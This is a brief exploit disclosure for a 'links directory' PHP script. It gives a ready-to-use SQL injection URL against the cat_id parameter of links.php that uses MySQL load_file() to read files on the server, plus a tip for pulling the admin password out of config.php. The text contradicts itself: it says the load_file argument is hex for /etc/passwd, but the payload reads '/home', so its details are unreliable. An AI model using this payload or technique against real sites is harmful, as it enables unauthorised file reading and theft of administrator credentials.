DESCRIPTION: 
Links directorys is vulnerable to a insecure sql query.


SQL Injeciton:
http://site.com/links.php?ax=list&sub=2&cat_id=-1%20UNION%20ALL%20SELECT%201,2,load_file('/home'),4,5,6,7,8,9,10,11,12,13%20FROM%20links/*



NOTE/TIP: 
the above sql injection allows a remote attacker to load a localfile on the vulnerable server.
the hex you see above inside the load_file() function is "/etc/passwd" in plaintext, some permissions are
needed to use this function. this all depends on what mysql user is running.

the admin password is in the config.php file if you can find the complete path then you can use load file to
view the contents of the file and view the admin password.
